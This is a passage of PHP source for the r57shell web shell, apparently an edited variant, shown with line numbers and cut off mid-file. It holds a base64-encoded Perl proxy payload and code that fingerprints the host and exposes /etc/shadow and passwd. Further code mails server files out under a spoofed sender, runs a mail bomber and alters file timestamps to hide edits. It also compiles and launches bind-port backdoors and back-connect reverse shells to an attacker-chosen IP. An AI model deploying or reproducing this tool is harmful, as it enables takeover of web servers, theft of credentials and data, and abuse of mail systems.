3985eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
3986
3987oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
3988
3989VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
3990
3991CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
3992
3993b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
3994
39950ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
3996
39979wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
3998
3999CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
4000
4001aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
4002
4003gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
4004
40059yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
4006
4007if($unix)
4008
4009 {
4010
4011 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
4012
4013 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
4014
4015 if($safe_mode) { $sysctl = '-'; }
4016
4017 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
4018
4019 else
4020
4021 {
4022
4023 $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
4024
4025 if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
4026
4027 if(empty($sysctl)) { $sysctl = '-'; }
4028
4029 setcookie('sysctl',$sysctl);
4030
4031 }
4032
4033 }
4034
4035
4036
4037if(!isset($_COOKIE[$lang[$language.'_text137']])) {
4038
4039 $ust_u='';
4040
4041 if($unix && !$safe_mode){
4042
4043 foreach ($userful as $item) {
4044
4045 if(which($item)){$ust_u.=$item;}
4046
4047 }
4048
4049 }
4050
4051 if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
4052
4053 if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
4054
4055 if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
4056
4057 if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
4058
4059 if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
4060
4061 if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
4062
4063 if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
4064
4065 if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
4066
4067
4068
4069 $ust_u = trim($ust_u);
4070
4071 setcookie($lang[$language.'_text137'],$ust_u);
4072
4073}else {
4074
4075 $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
4076
4077}
4078
4079
4080
4081if(!isset($_COOKIE[$lang[$language.'_text138']])) {
4082
4083 $ust_d='';
4084
4085 if($unix && !$safe_mode){
4086
4087 foreach ($danger as $item) {
4088
4089 if(which($item)){$ust_d.=$item;}
4090
4091 }
4092
4093 }
4094
4095 if(!$safe_mode){
4096
4097 foreach ($danger as $item) {
4098
4099 if(ps($item)){$ust_d.=$item;}
4100
4101 }
4102
4103 }
4104
4105 if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
4106
4107 if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
4108
4109
4110
4111 $ust_d = trim($ust_d);
4112
4113 setcookie($lang[$language.'_text138'],$ust_d);
4114
4115}else {
4116
4117 $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
4118
4119}
4120
4121
4122
4123if(!isset($_COOKIE[$lang[$language.'_text142']])) {
4124
4125
4126
4127 $select_downloaders='<select size="1" name=with>';
4128
4129 if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
4130
4131 if($unix && !$safe_mode){
4132
4133 foreach ($downloaders as $item) {
4134
4135 if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
4136
4137 }
4138
4139 }
4140
4141 $select_downloaders .= '</select>';
4142
4143 if(substr($downloader,0,1)==",") {$downloader[0]="";}
4144
4145
4146
4147 $downloader=trim($downloader);
4148
4149 setcookie('select_downloaders',$select_downloaders);
4150
4151 setcookie('downloader',$downloader);
4152
4153}else {
4154
4155 $select_downloaders = $_COOKIE['select_downloaders'];
4156
4157 $downloader = trim($_COOKIE['downloader']);
4158
4159}
4160
4161
4162
4163
4164
4165echo $head;
4166
4167echo '</head>';
4168
4169
4170
4171echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=100><font face=Verdana size=2>'.
4172
4173ws(2).'<b>'.ws(2).'<center>r57shell<br>v.'.$version.'</b><br><p><b><font color="#FF0000" size="2">Edited By KingDefacer</font></b></p></center></font>'.
4174
4175$fs.'<font face=Verdana size=-2><center>'.$lang[$language.'_text143']."<b>".$tempdir."</b><br>".$select_tempdir.'<br>'.in('submit','submit',0,$lang[$language.'_butt6']).
4176
4177'</center></font>'.$fe.'</td>'.'<td bgcolor=#cccccc><font face=Verdana size=-2>';
4178
4179echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
4180
4181echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4182
4183echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4184
4185echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
4186
4187
4188
4189echo "<br>";
4190
4191
4192
4193echo ws(2)."PHP version: <b>".@phpversion()."</b>";
4194
4195$curl_on = @function_exists('curl_version');
4196
4197echo ws(2);
4198
4199echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4200
4201echo "</b>".ws(2);
4202
4203echo "MySQL: <b>";
4204
4205$mysql_on = @function_exists('mysql_connect');
4206
4207if($mysql_on){
4208
4209echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
4210
4211echo "</b>".ws(2);
4212
4213echo "MSSQL: <b>";
4214
4215$mssql_on = @function_exists('mssql_connect');
4216
4217if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4218
4219echo "</b>".ws(2);
4220
4221echo "PostgreSQL: <b>";
4222
4223$pg_on = @function_exists('pg_connect');
4224
4225if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4226
4227echo "</b>".ws(2);
4228
4229echo "Oracle: <b>";
4230
4231$ora_on = @function_exists('ocilogon');
4232
4233if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4234
4235echo "</b>".ws(2);
4236
4237echo "MySQLi: <b>";
4238
4239$mysqli_on = @function_exists('mysqli_connect');
4240
4241if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4242
4243echo "</b>".ws(2);
4244
4245echo "mSQL: <b>";
4246
4247$msql_on = @function_exists('msql_connect');
4248
4249if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4250
4251echo "</b>".ws(2);
4252
4253echo "SQLite: <b>";
4254
4255$sqlite_on = @function_exists('sqlite_open');
4256
4257if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4258
4259echo "</b><br>".ws(2);
4260
4261
4262
4263echo "Safe_mode: <b>";
4264
4265echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4266
4267echo "</b>".ws(2);
4268
4269echo "Open_basedir: <b>";
4270
4271if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
4272
4273else {echo "<font color=green>NONE</font></b>";}
4274
4275echo ws(2)."Safe_exec_dir: <b>";
4276
4277if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4278
4279else {echo "<font color=red>ini_get disable!</font></b>";}
4280
4281echo ws(2)."Safe_gid: <b>";
4282
4283if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
4284
4285else {echo "<font color=red>ini_get disable!</font></b>";}
4286
4287echo ws(2)."Safe_include_dir: <b>";
4288
4289if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4290
4291else {echo "<font color=red>ini_get disable!</font></b>";}
4292
4293echo ws(2)."Sql.safe_mode: <b>";
4294
4295if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
4296
4297else {echo "<font color=red>ini_get disable!</font></b>";}
4298
4299
4300
4301echo "<br>".ws(2);
4302
4303echo "Disable functions : <b>";$df='ini_get disable!';
4304
4305if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
4306
4307
4308
4309if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
4310
4311elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
4312
4313if (!$free) {$free = 0;}
4314
4315$all = @disk_total_space($dir);
4316
4317if (!$all) {$all = 0;}
4318
4319echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
4320
4321
4322
4323
4324
4325if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
4326
4327
4328
4329if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
4330
4331
4332
4333if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
4334
4335
4336
4337
4338
4339echo "<br>".ws(2)."</b>";
4340
4341echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
4342
4343echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
4344
4345echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
4346
4347echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?4' title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
4348
4349if(!$unix) {
4350
4351 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
4352
4353}else{
4354
4355 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
4356
4357 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>resolv</b></a> ".$rb;
4358
4359 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>hosts</b></a> ".$rb;
4360
4361 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>shadow</b></a> ".$rb;
4362
4363 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
4364
4365}
4366
4367echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
4368
4369echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
4370
4371
4372
4373if($unix && !$safe_mode)
4374
4375{
4376
4377 echo "<br>".ws(2)."</b>";
4378
4379 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
4380
4381 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>version</b></a> ".$rb;
4382
4383 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>free</b></a> ".$rb;
4384
4385 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
4386
4387 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
4388
4389 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
4390
4391 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
4392
4393 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
4394
4395 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>realise1</b></a> ".$rb;
4396
4397 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>realise2</b></a> ".$rb;
4398
4399 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
4400
4401
4402
4403 echo "<br>".ws(2)."</b>";
4404
4405 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>w</b></a> ".$rb;
4406
4407 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>who</b></a> ".$rb;
4408
4409 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>uptime</b></a> ".$rb;
4410
4411 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>last</b></a> ".$rb;
4412
4413 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
4414
4415 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>service</b></a> ".$rb;
4416
4417 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
4418
4419 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
4420
4421 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>fstab</b></a> ".$rb;
4422
4423 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
4424
4425 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
4426
4427}
4428
4429
4430
4431echo '</font></td></tr><table>
4432
4433<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
4434
4435<tr><td align=right width=100>';
4436
4437echo $font;
4438
4439
4440
4441if($unix){
4442
4443echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4444
4445echo "</td><td>";
4446
4447echo "<font face=Verdana size=-2 color=red><b>";
4448
4449echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
4450
4451echo ws(3).$sysctl."<br>";
4452
4453echo ws(3).ex('echo $OSTYPE')."<br>";
4454
4455echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4456
4457if(!empty($id)) { echo ws(3).$id."<br>"; }
4458
4459else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
4460
4461 {
4462
4463 $euserinfo = @posix_getpwuid(@posix_geteuid());
4464
4465 $egroupinfo = @posix_getgrgid(@posix_getegid());
4466
4467 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
4468
4469 }
4470
4471else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
4472
4473echo ws(3).$dir;
4474
4475echo ws(3).'( '.perms(@fileperms($dir)).' )';
4476
4477echo "</b></font>";
4478
4479}
4480
4481else
4482
4483{
4484
4485echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4486
4487echo "</td><td>";
4488
4489echo "<font face=Verdana size=-2 color=red><b>";
4490
4491echo ws(3).@substr(@php_uname(),0,120)."<br>";
4492
4493echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4494
4495echo ws(3).@getenv("USERNAME")."<br>";
4496
4497echo ws(3).$dir;
4498
4499echo "<br></font>";
4500
4501}
4502
4503echo "</font>";
4504
4505echo "</td></tr></table>";
4506
4507
4508
4509if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
4510
4511 {
4512
4513 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
4514
4515 err(6+$res);
4516
4517 $_POST['cmd']="";
4518
4519 }
4520
4521if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
4522
4523 {
4524
4525 if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
4526
4527 else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
4528
4529 if(!empty($_POST['cmd']))
4530
4531 {
4532
4533 $filename = @basename($_POST['loc_file']);
4534
4535 $content_encoding=$mime_type='';
4536
4537 compress($filename,$filedump,$_POST['compress']);
4538
4539 $attach = array(
4540
4541 "name"=>$filename,
4542
4543 "type"=>$mime_type,
4544
4545 "content"=>$filedump
4546
4547 );
4548
4549 if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
4550
4551 if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
4552
4553 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
4554
4555 err(6+$res);
4556
4557 $_POST['cmd']="";
4558
4559 }
4560
4561 }
4562
4563if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
4564
4565 {
4566
4567 for($h=1;$h<=$_POST['mail_flood'];$h++){
4568
4569 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
4570
4571 }
4572
4573 err(6+$res);
4574
4575 $_POST['cmd']="";
4576
4577 }
4578
4579if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
4580
4581{
4582
4583$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
4584
4585}
4586
4587if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
4588
4589 {
4590
4591 switch($_POST['what'])
4592
4593 {
4594
4595 case 'own':
4596
4597 @chown($_POST['param1'],$_POST['param2']);
4598
4599 break;
4600
4601 case 'grp':
4602
4603 @chgrp($_POST['param1'],$_POST['param2']);
4604
4605 break;
4606
4607 case 'mod':
4608
4609 @chmod($_POST['param1'],intval($_POST['param2'], 8));
4610
4611 break;
4612
4613 }
4614
4615 $_POST['cmd']="";
4616
4617 }
4618
4619if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
4620
4621 {
4622
4623 switch($_POST['what'])
4624
4625 {
4626
4627 case 'file':
4628
4629 if($_POST['action'] == "create")
4630
4631 {
4632
4633 if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4634
4635 else {
4636
4637 $_POST['e_name'] = $_POST['mk_name'];
4638
4639 $_POST['cmd']="edit_file";
4640
4641 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
4642
4643 }
4644
4645 }
4646
4647 else if($_POST['action'] == "delete")
4648
4649 {
4650
4651 if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
4652
4653 $_POST['cmd']="";
4654
4655 }
4656
4657 break;
4658
4659 case 'dir':
4660
4661 if($_POST['action'] == "create"){
4662
4663 if(@mkdir($_POST['mk_name']))
4664
4665 {
4666
4667 $_POST['cmd']="";
4668
4669 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
4670
4671 }
4672
4673 else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4674
4675 }
4676
4677 else if($_POST['action'] == "delete"){
4678
4679 if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
4680
4681 $_POST['cmd']="";
4682
4683 }
4684
4685 break;
4686
4687 }
4688
4689 }
4690
4691
4692
4693
4694
4695if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
4696
4697{
4698
4699if(!$_POST['file_name_r'])
4700
4701 {
4702
4703 $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
4704
4705 $datar = @strtotime($datar);
4706
4707 @touch($_POST['file_name'],$datar,$datar);}
4708
4709else{
4710
4711 @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
4712
4713}
4714
4715$_POST['cmd']="";
4716
4717}
4718
4719
4720
4721
4722
4723if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
4724
4725 {
4726
4727 if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
4728
4729 elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
4730
4731 elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
4732
4733 elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
4734
4735 else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
4736
4737 if(!empty($_POST['cmd']))
4738
4739 {
4740
4741 echo $table_up3;
4742
4743 echo $font;
4744
4745 echo "<form name=save_file method=post>";
4746
4747 echo ws(3)."<b>".$_POST['e_name']."</b>";
4748
4749 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
4750
4751 echo @htmlspecialchars($filedump);
4752
4753 echo "</textarea>";
4754
4755 echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
4756
4757 echo "<input type=hidden name=dir value='".$dir."'>";
4758
4759 echo "<input type=hidden name=cmd value=save_file>";
4760
4761 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
4762
4763 echo "</div>";
4764
4765 echo "</font>";
4766
4767 echo "</form>";
4768
4769 echo "</td></tr></table>";
4770
4771 exit();
4772
4773 }
4774
4775 }
4776
4777if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
4778
4779 {
4780
4781 $mtime = @filemtime($_POST['e_name']);
4782
4783 if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
4784
4785 else {
4786
4787 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
4788
4789 morewrite($_POST['e_name'],$_POST['e_text']);
4790
4791 $_POST['cmd']="";
4792
4793 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
4794
4795 }
4796
4797 @touch($_POST['e_name'],$mtime,$mtime);
4798
4799 }
4800
4801
4802
4803
4804
4805if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
4806
4807{
4808
4809 cf($tempdir.'prxpl',$prx_pl);
4810
4811 $p2=which("perl");
4812
4813 $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
4814
4815 @unlink($tempdir.'prxpl');
4816
4817 $_POST['cmd']="ps -aux | grep prxpl";
4818
4819}
4820
4821if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
4822
4823{
4824
4825 cf($tempdir.'bd.c',$port_bind_bd_c);
4826
4827 $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
4828
4829 @unlink($tempdir.'bd.c');
4830
4831 $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
4832
4833 @unlink($tempdir.'bd');
4834
4835 $_POST['cmd']="ps -aux | grep bd";
4836
4837}
4838
4839if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
4840
4841{
4842
4843 cf($tempdir.'bdpl',$port_bind_bd_pl);
4844
4845 $p2=which("perl");
4846
4847 $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
4848
4849 @unlink($tempdir.'bdpl');
4850
4851 $_POST['cmd']="ps -aux | grep bdpl";
4852
4853}
4854
4855if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
4856
4857{
4858
4859 cf($tempdir.'back',$back_connect);
4860
4861 $p2=which("perl");
4862
4863 $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
4864
4865 @unlink($tempdir.'back');
4866
4867 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4868
4869}
4870
4871if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
4872
4873{
4874
4875 cf($tempdir.'back.c',$back_connect_c);
4876
4877 $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
4878
4879 @unlink($tempdir.'back.c');
4880
4881 $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
4882
4883 @unlink($tempdir.'back');
4884
4885 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4886
4887}
4888
4889if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
4890
4891{
4892
4893 cf($tempdir.'dp',$datapipe_pl);
4894
4895 $p2=which("perl");
4896
